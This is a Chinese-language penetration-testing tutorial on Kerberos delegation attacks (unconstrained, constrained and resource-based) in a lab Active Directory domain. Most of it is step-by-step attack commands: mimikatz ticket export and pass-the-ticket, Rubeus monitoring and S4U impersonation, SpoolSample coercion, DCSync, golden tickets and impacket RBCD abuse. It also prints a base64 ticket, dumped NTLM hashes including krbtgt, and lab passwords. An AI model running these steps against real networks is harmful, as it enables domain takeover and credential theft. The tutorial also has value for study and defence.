内网渗透技战法-委派攻击
委派攻击
域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动。简言之:当A访问服务B时,服务B拿着A用户的凭证去访问服务C,这个过程称为委派。
在域内只有主机账号和服务账号才有委派属性 主机账号(机器账号)
服务账号:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来加入域内,比如:SQLServer,MYSQL等;域用户通过注册SPN也能成为服务账号。
非约束委派攻击
1.对于非约束性委派 (Unconstrained Delegation),服务账号可以获取被委派用户的TGT,并将TGT缓存到LSASS进程中,从而服务账号可使用该TGT, 模拟该用户访问任意服务。非约束委派的设置需要SeEnableDelegation 特权,该特权通常仅授予域管理员 。
2.配置了非约束性委派属性的机器账号的userAccountControl 属性有个Flag位 WORKSTATION_TRUST_ACCOUNT | TRUSTED_FOR_DELEGATION,其对应的数是0x81000=528384;Flag位 NORMAL_ACCOUNT | TRUSTED_FOR_DELEGATION, 其对应的数是0x80200=524800
简单来说非约束委派攻击:
user访问serverA,于是向DC发起认证,DC会检查serverA的机器账号的属性,如果是非约束委派的话,会把用户的TGT放在ST票据中并一起发送给serverA 这样serverA在验证ST票据的同时也获取到了用户的TGT,并把TGT储存在自己的lsass进程中以备下次重用,从而serverA就可以使用这个TGT,来模拟这个user访问任何服务。
从攻击角度来说:如果攻击者拿到了一台配置了非约束委派的机器权限,可以诱导管理员来访问该机器,然后可以得到管理员的TGT,从而模拟管理员访问任意服务,相当于拿下了整个域环境。
环境搭建
首先创建一个服务账号
setspn -U -A MSSQLSvc/WIN7.xiaorang.lab:1433 test
#SPN格式如下:
#<服务类型>/<主机名>:<端口>
#将WIN7.xiaorang.lab主机的1433端口的MSSQLSvc服务绑定到域用户test、
#-A = Add(不检查重复);-S = Safe Add(检查重复);-U 将主机部分转大写WIN7.xiaorang.lab转为WIN7.XIAORANG.LAB,不加也可以,因为大小写不敏感
然后需要把委派属性打开:
此时其userAccountControl 属性会包含 TRUSTED_FOR_DELEGATION
再把机器用户WIN7也设置成非约束委派
查找域内非约束委派用户和计算机
Adfind查找非约束委派普通用户
#查找非约束委派用户
AdFind.exe -b "DC=xiaorang,DC=lab" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
#查找非约束委派机器
AdFind.exe -b "DC=xiaorang,DC=lab" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
也可以用powerview
#查找非约束委派服务用户
powershell -exec bypass -c "Import-Module .\powerview.ps1; Get-DomainUser -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' -Properties samaccountname,serviceprincipalname,useraccountcontrol"
#查找非约束委派机器用户
powershell -exec bypass -c "Import-Module .\powerview.ps1; Get-DomainComputer -Unconstrained -Properties samaccountname,serviceprincipalname,useraccountcontrol"
机器用户的非约束委派利用
对于机器用户WIN7,当 WIN7 机器上设置了非约束委派。使用 dc 或者域管,去登录 WIN7 ,可在WIN7上留存票据凭证,然后需要让域控模拟访问被设置了非约束委派的机器
域控模拟访问被设置了约束委派的机器后,这个时候其实域管理员的 TGT 已经缓存在 WIN7 机器上了
WIN7开启winrm服务
winrm quickconfig
sc query winrm
# 应显示 STATE : 4 RUNNING
Enter-PSSession -ComputerName WIN7
此时在WIN7用mimikatz导出本地凭证
清除一下当前票据缓存
mimikatz "privilege::debug" "kerberos::purge" "exit"
导出票据
privilege::debug
sekurlsa::tickets /export
Mimikatz 导出的 .kirbi 文件遵循如下命名规则:
[LUID] - [TicketGroup] - [Index] - [Flags] - [Client] @ [Server] - [Domain].kirbi
| 位置 | 字段名称 | 您的文件中常见值 | 最终解释 (基于文件证据) | ||||
|---|---|---|---|---|---|---|---|
| 1 | LUID | [0;3e7][0;57b18] |
登录会话 ID 标识这张票据属于哪个登录会话(SYSTEM 或具体用户)。 |
||||
| 2 | Ticket Group |
2 0 |
票据类型分组 这是 Mimikatz 内部对票据的分类: ●2 = TGT(黄金票据基础,文件名必含 krbtgt)●0 = TGS(服务票据,文件名含 cifs,ldap等) |
||||
| 3 | Index |
0,1,2,3 |
导出索引 (计数器) 这只是一个流水号,防止文件名冲突。 |
||||
| 4 | Flags | 60a10000 60a5000040a50000 40a10000 |
票据标志位(十六进制)40e10000: 通常代表 Initial (初始) 票据;60a10000: 通常代表 Forwarded (已转发) 票据,代表通过委派(Delegation)或其他方式转发过来的。 |
||||
| 5 | Client @ Server | Administrator@krbtgtWIN7$@cifs |
客户端与目标服务 格式为 [谁] @ [访问谁]。 |
||||
| 6 | Domain | XIAORANG.LAB |
域名 |
所以我们选择第二位为2,标志位为60a1000的Administrator访问krbtgt的TGT就是我们通过非约束性委派缓存的TGT
mimikatz "kerberos::ptt [0;13d21a7]-2-0-60a10000-Administrator@krbtgt-XIAORANG.LAB" exit
之后即可dir \\DC01\c$
机器用户+Spooler的非约束委派利用
默认情况下Spooler服务为自动启动
1.用Rubeus来监听(需要管理员权限)
Rubeus.exe monitor /interval:1 /filteruser:DC01$ > 6.txt
# 我们可以用Rubeus来监听Event ID为4624事件,这样可以第一时间截取到域控的TGT
# /interval:1 设置监听间隔1秒
# /filteruser 监听对象为我们的域控,注意后面有个$,如果不设置监听对象就监听所有的TGT
#将内容输出到6.txt
利用打印服务强制让域控机向WIN7主机验证身份(不需要管理员权限)
SpoolSample.exe DC01 WIN7
虽然报错但是还是能接收到
此时可以直接用 powershell 转到为正常的 TGT
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("得到的base64"))
#ticket.kirbi处必须用绝对路径
然后用mimikatz导入tgt
kerberos::ptt xxx.kirbi
也可以用Rubeus导入base64的票据直接注入进内存
Rubeus.exe /ticket:doIFFDCCBRCgAwIBBaEDAgEWooIEHDCCBBhhggQUMIIEEKADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMWElBT1JBTkcuTEFCo4ID1DCCA9CgAwIBEqEDAgECooIDwgSCA76zNLejJhaugZO04CsOMmNq8EOc8I15lMK+WaVtNLT0J0FCLTwEPWOPQvDuZMFeEa+aCMCBXS9Ea/UkNHayr+SZyBHYlvvW4wMQoSQnkFnmvXRHI8R7E6c1zDNglk/528eptWWAzSDJGdByKnSNHVZD8UeZx/gTNpIpRur1WTr89TfiPSy/Jn7O7eZ6EVwfK7w0am3dV2dodxN9ZhENwhkAxMNAk7IYfQ98PNhBfIobC4BPwgVf6rZJa9dqnMH8sZWv3DWI+FtcB3hqzmIcM14Tqh9KjoBq5k2qLisrye2MH5izGFOk39NapJ4HRuN2lFZ9Nn6/l8GNV/vZb0ttW24YWxoLni74tCp3gXTK8DdP94oqyt0hb+4nt1JKK/C1h1tamZP5p/YXZhASdIYERfBDqzVMHcxTNyUAhm7SbXKyuD+iARzqM2hdYWKxt8ZKrx+OCUgywTtvtNK96x7fFGFJjR2slW/SRkI71cFH96g8DTUELfB5ZZDrO3tbH2su/MA4vr5XfvJEmJUPewDF0vkj7ShgV7YGpCUF048VhokfeGkO6ZhkQxU+QY2bEKhJwT4iE6SxgI1xBkoW2O0SSBrvSNdRUCf+yaxEXvduCoiMgOxqq825fQn3pTy6S4lh4M4/xKrYOuK/uAJ9JhSGsRRycHuDbgCx6Z3DDt7lFpKjP4a5aiFXoDkdpuhfReWCYBkjeO4dq+VsiDCQYSHabfvZYfyKwPm6bUxK4W+b5OgzrNCIuoc3Vtj3LGJTYkJAynMkwO2Czia9uw2V5YMAeoZz+w76QWSMGh29H/GOtykM0n0ErCSGP+BxwFvBVJGRIKOoH2YwXLJOJN+/tlBOZne9ewekCdxAn+OJBJVWz4xfcgfAsb3HkGvzPjoBwSblcfI00ZjLkUcrdrZpEs2llaJy9UdsqmtoER3gYpgEUwrDjWYEM2y8KE+7ohQjuDV6br9st5UU7RWQLN6fdAa93s3SDBPEcfVBwGgdyp/PbSCWHLuTQGojX/8cR4QHt24G2BGFPWve5EUfBuCxXMohW7mMVulZalzzOgaLjfgh55ETxtmxtkUjuGs4a6rpV/hZ/DqqYQpIDXwEA7i+WWECamw/QJGS0x/+P9MsJz3gnA3uOSMwjH5onOtPaHV1PAb7Q5zYndE5ELu7wVt2bBvxAE4Mlp570tu49fbIj43UM5OyQh3+AGFyiTB8Y8WbJJWroBsiX2YBJdC7E9ZbBH+2vPOrtIceMBCY7bz7KNCRXhMU5DX7vbaKt1sIJr+U0UXlo4HjMIHgoAMCAQCigdgEgdV9gdIwgc+ggcwwgckwgcagKzApoAMCARKhIgQgRFXlTK2VyPExfpf2Vh/5YuY1ZahGFn0NEcLHHA5mz0ShDhsMWElBT1JBTkcuTEFCohIwEKADAgEBoQkwBxsFREMwMSSjBwMFAGChAAClERgPMjAyNTEyMjUwNjQ0NTJaphEYDzIwMjUxMjI1MTY0NDUyWqcRGA8yMDI2MDEwMTA2NDQ1MlqoDhsMWElBT1JBTkcuTEFCqSEwH6ADAgECoRgwFhsGa3JidGd0GwxYSUFPUkFORy5MQUI= /ptt
#伪造tgt,接着进行DCSync
#mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit
此时获得的权限只是域控的本地管理权限,所以不能连接域控,之后可以拿krbtgt的NTLM做黄金票据
1001 DC01$ e768c2e24145ca69fdf7a786bbcf5f8e 532480
1000 DC 96265b73083383c180073ab555edd67b 512
502 krbtgt f4db3d37c4c7e00a0894a832430286b1 514
500 Administrator fc5d624078187427a8b2097c00737036 66048
1107 WIN-2008$ 9e7d7fd3f3fad110a14882dfb8061939 4096
1106 test cd47449ce8d3519c5ba12c57a567a0cd 524800
1104 WIN7$ ca25f949b465ae0f594b4ecd0716d04c 528384
之后导入黄金票据,然后即可dir \\DC01\c$
为什么不能直接做DC01的cifs的TGS呢?
因为此时的client name是DC01他是没有权限读取\\DC01\c$的,必须是Domain Admins组里的个人用户才可以
约束委派攻击
引入了 S4U (S4U2Self / S4U2proxy), 运行服务代表用户向 KDC 请求票据。
-
S4U2self (Service for User to S4U2Self) 可以代表自身请求针对其自身的 Kerberos 服务票据(ST);如果一个服务账户的 userAccountControl 标志为TRUSTED_TO_AUTH_FOR_DELEGATION, 则其可以代表任何其他用户获取自身服务的 TGS/ST。 -
S4U2proxy(Service for User to Proxy) 可以以用户的名义请求其它服务的 ST,限制了 S4U2proxy 扩展的范围。服务帐户可以代表任何用户获取在msDS-AllowedToDelegateTo 中设置的服务的 TGS/ST,首先需要从该用户到其本身的 TGS/ST,但它可以在请求另一个 TGS 之前使用 S4U2self 获得此 TGS/ST。
user访问serviceA,向DC发起kerberos认证,域控返回user的TGT和ST1票据,user使用ST1票据对
serviceA进行访问如果配置了serviceA到serviceB的约束委派,则serviceA能使用S4U2Proxy协议将用户发给自己的可转发的ST1票据以用户的身份发给DC。域控返回serviceA一个用来访问serviceB的ST2票据,这样serviceA就能以用户的身份对serviceB发起访问
环境搭建
#为test用户注册一个纯虚构的SPN,避免服务重复
setspn -S http/test.xiaorang.lab test
#-L列出指定用户的SPN
setspn -L test
然后给服务账号test设置DC01域控的cifs服务约束性委派
查找域内约束委派用户和计算机
AdFind
#查找约束委派用户
AdFind.exe -b "DC=xiaorang,DC=lab" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
#查找约束委派机器
AdFind.exe -b "DC=xiaorang,DC=lab" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
PowerView
powershell -exec bypass -c "Import-Module .\powerview.ps1; Get-DomainUser –TrustedToAuth -domain xiaorang.lab -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl"
powershell -exec bypass -c "Import-Module .\powerview.ps1; Get-DomainComputer -TrustedToAuth -domain xiaorang.lab -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize"
约束委派服务用户攻击
rubeus请求test用户的TGT
Rubeus.exe asktgt /user:test /password:T@123456 /nowrap /outfile:ticket.kirbi
用这张TGT请求DC的CIFS服务的TGS,注入当前会话
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC01.xiaorang.lab /dc:DC01.xiaorang.lab /ptt /ticket:ticket.kirbi
基于资源委派(攻击非敏感用户)
基于资源的约束委派(RBCD)是在Windows Server 2012中新加入的功能,与传统的约束委派相比,它不再需要域管理员权限去设置相关属性。RBCD把设置委派的权限赋予了机器自身,既机器自己可以决定谁可以被委派来控制我。也就是说机器自身可以直接在自己账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性来设置RBCD。
这里的关键就是谁可以修改属性
利用条件:简单来说就是你获得的用户对该主机的属性具有写权限,那么这个用户就可以对该主机进行攻击
优势:约束性委派不能跨域进行委派,基于资源的约束性委派可以跨域和林
环境搭建
攻击机:WIN-2008.xiaorang.lab(test域用户登录)
目标机:WIN7.xiaorang.lab
使用条件
- 拥有将域机器加入域的域用户的权限。(将机器B加入域的域用户拥有修改机器B的msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限。)
- 一个任意服务账户或者一个机器账户(每一个域用户都可以添加10个机器账户)
具体步骤:
- 已拿下域用户(test用户)且此用户具有对WIN7机器的写入权限,修改 WIN7 对象的
msDS-AllowedToActOnBehalfOfOtherIdentity 属性把FakePC$添加进去
(这里我们创建WIN2035$作为FakePC用户)
- 使用
FakePC$ 的凭据,通过 S4U2Self 和 S4U2Proxy 协议向 KDC 申请一张“以 Administrator 身份访问 Win7 CIFS 服务”的票据。
给域用户test设置对域内机器WIN7写权限
验证test这个用户对WIN7是否具有写权限
powershell -exec bypass Import-Module .\powerview.ps1;Get-DomainUser -Identity test -Properties objectsid
powershell -exec bypass -c "Import-Module .\powerview.ps1;Get-DomainObjectAcl -Identity WIN7 | ?{$_.SecurityIdentifier -match 'S-1-5-21-3469670268-153400363-2716584948-1106'}"
可以看到ActiveDirectoryRights 属性为GenericWrite ,即为对WIN7主机具有写权限,除去GenericWrite权限可利用外,还有GenericAll、WriteProperty、WriteDacl权限也是可以修改账户属性进行攻击利用的。
创建虚拟机器用户WIN2035
在域当中,域用户默认在域内可创建的计算机账户数为10,而我们所创建的计算机账户,又默认注册在RestrictedKrbHost/domain、HOST/domain这两个SPN之下,此处我们正好可以进行利用。
使用Powermad注册计算机用户 WIN2035
powershell -exec bypass Import-Module .\powerview.ps1;New-MachineAccount -MachineAccount WIN2035
#密码设为win2035
setspn -q */* | findstr "win2035"
或者用impacket包中的addconputer.py来进行创建机器账户
python3 addcomputer.py -computer-name 'WIN2035' -computer-pass win2035 -dc-ip 172.26.58.101 xiaorang.lab/test:T@123456
对于修改WIN7计算机的msDS-AllowedToActOnBehalfOfOtherIdentity属性值,有两种方法。
1.利用Powerview脚本修改msds-allowedtoactonbehalfofotheridentity属性值
拿到查找新注册的机器账户SID
Get-NetComputer -Identity WIN2035
#S-1-5-21-3469670268-153400363-2716584948-1109
修改属性值,作用是信任WIN2035$用户,拥有全部权限,WIN2035现在就拥有了对WIN7这一台机器的委派权限
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3469670268-153400363-2716584948-1109)"#此处为fake机器用户WIN2035的SID
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer WIN7.xiaorang.lab| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
验证是否修改成功
Get-DomainComputer WIN7.xiaorang.lab -Properties msds-allowedtoactonbehalfofotheridentity

清除msds-allowedtoactonbehalfofotheridentity的值
Set-DomainObject WIN7 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
2.通过ActiveDirectory模块修改msds-allowedtoactonbehalfofotheridentity属性值
[^注意:ActiveDirectory仅在Windows 2012及以上版本的服务器中存在-PrincipalsAllowedToDelegateToAccount选项,同时,本模块默认安装于域控当中,域内机器默认并不存在,需单独安装。]:
若我们所打下来的域内主机不存在此模块,可通过上传dll powershell安装导入本模块进行利用
Import-Module .\Microsoft.ActiveDirectory.Management.dll
Set-ADComputer oa -PrincipalsAllowedToDelegateToAccount win2035$
Get-ADComputer oa -Properties PrincipalsAllowedToDelegateToAccount
用Rubeus进行攻击
为了让测试更加直观明确,我们先利用Mimikatz将缓存的票据擦除
Kerberos::purge
利用Rubeus
Rubeus.exe hash /user:WIN2035 /password:win2035 /domain:xiaorang.lab
然后利用WIN2035$机器账户的rc4 hash请求ST并导入当前会话。
Rubeus.exe s4u /user:WIN2035$ /rc4:8FF0F159490DA3E29F00194B042D6ED0 /impersonateuser:Administrator /msdsspn:cifs/WIN7.xiaorang.lab /dc:DC01.xiaorang.lab /ptt
Rubeus.exe s4u /user:WIN2035$ /rc4:8FF0F159490DA3E29F00194B042D6ED0 /impersonateuser:administrator /msdsspn:host/WIN7.xiaorang.lab /dc:DC01.xiaorang.lab /ptt
也可以用现成的项目进行攻击
https://github.com/tothi/rbcd-attack
已拿下凭证 test:T@123456
伪造机器用户 WIN2035:win2035ev1lP@sS
目标机器 WIN7.xiaorang.lab
#用impacket的addcomputer.py创建fakecoumputer:
addcomputer.py -computer-name 'WIN2035$' -computer-pass win2035ev1lP@sS -dc-ip 192.168.33.203 xiaorang.lab/test:T@123456
#修改WIN7的msDS-AllowedToActOnBehalfOfOtherIdentity 的属性,将fakecomputer:'WIN2035$'相关的安全描述符添加进去,WIN2035现在就拥有了对WIN7这一台机器的委派权限
./rbcd.py -f WIN2035 -t WIN7 -dc-ip 192.168.33.203 ecorp\\test:T@123456
#用impacket的getST.py利用WIN7并代表administrator用户请求获取cifs/WIN7服务的TGS
getST.py -spn cifs/WIN7.xiaorang.lab -impersonate administrator -dc-ip 192.168.33.203 xiaorang.lab/WIN2035$:win2035ev1lP@sS
# 导入ST
export KRB5CCNAME=administrator.ccache
# WMI
python3 wmiexec.py administrator@USER-WIN2012.relaysec.com -k -no-pass
机器账户数量超过限制问题
每一个域用户都可以添加10个机器账户,如果设置成立0,或者真的超出了限制该怎么办
如果我们拿到一个域内的机器,那么它自身就是一个机器账户,我们可以将它的密码dump出来,然后进行来设置基于资源的委派。
敏感账户不可被委派问题
利用条件: 知道目标的机器账户的hash
[^注:一般情况下主机在加入域中会随机设置机器账户的密码,所以一般情况下用的是机器账户hash,并且我们是不可以修改机器账户的密码。]:
在域环境中,高权限用户如果没有特殊需求的话,考虑到安全性,一般会被设置为不可委派,或是加入受保护组。比如域管理员用户Administrator用户
此时
Rubeus.exe s4u /user:WIN2035$ /rc4:8FF0F159490DA3E29F00194B042D6ED0 /impersonateuser:Administrator /msdsspn:cifs/WIN7.xiaorang.lab /dc:DC01.xiaorang.lab /ptt
以下是开启敏感用户前的TGT
以下是开启敏感用户后的TGT
通过对比发现开启敏感用户后,ServiceName从cifs/WIN7.xiaorang.lab变成了WIN2035$
使用Rebeus修改票据所请求的服务名:
我们将服务名从WIN2035$改回cifs/WIN7.xiaorang.lab
Rubeus.exe tgssub /ticket:target.kirbi /altservice:cifs/WIN7.xiaorag.lab /ptt
我用的Windows Server 2019就没复现成功,Windows Server 2012 R2成功复现

浙公网安备 33010602011771号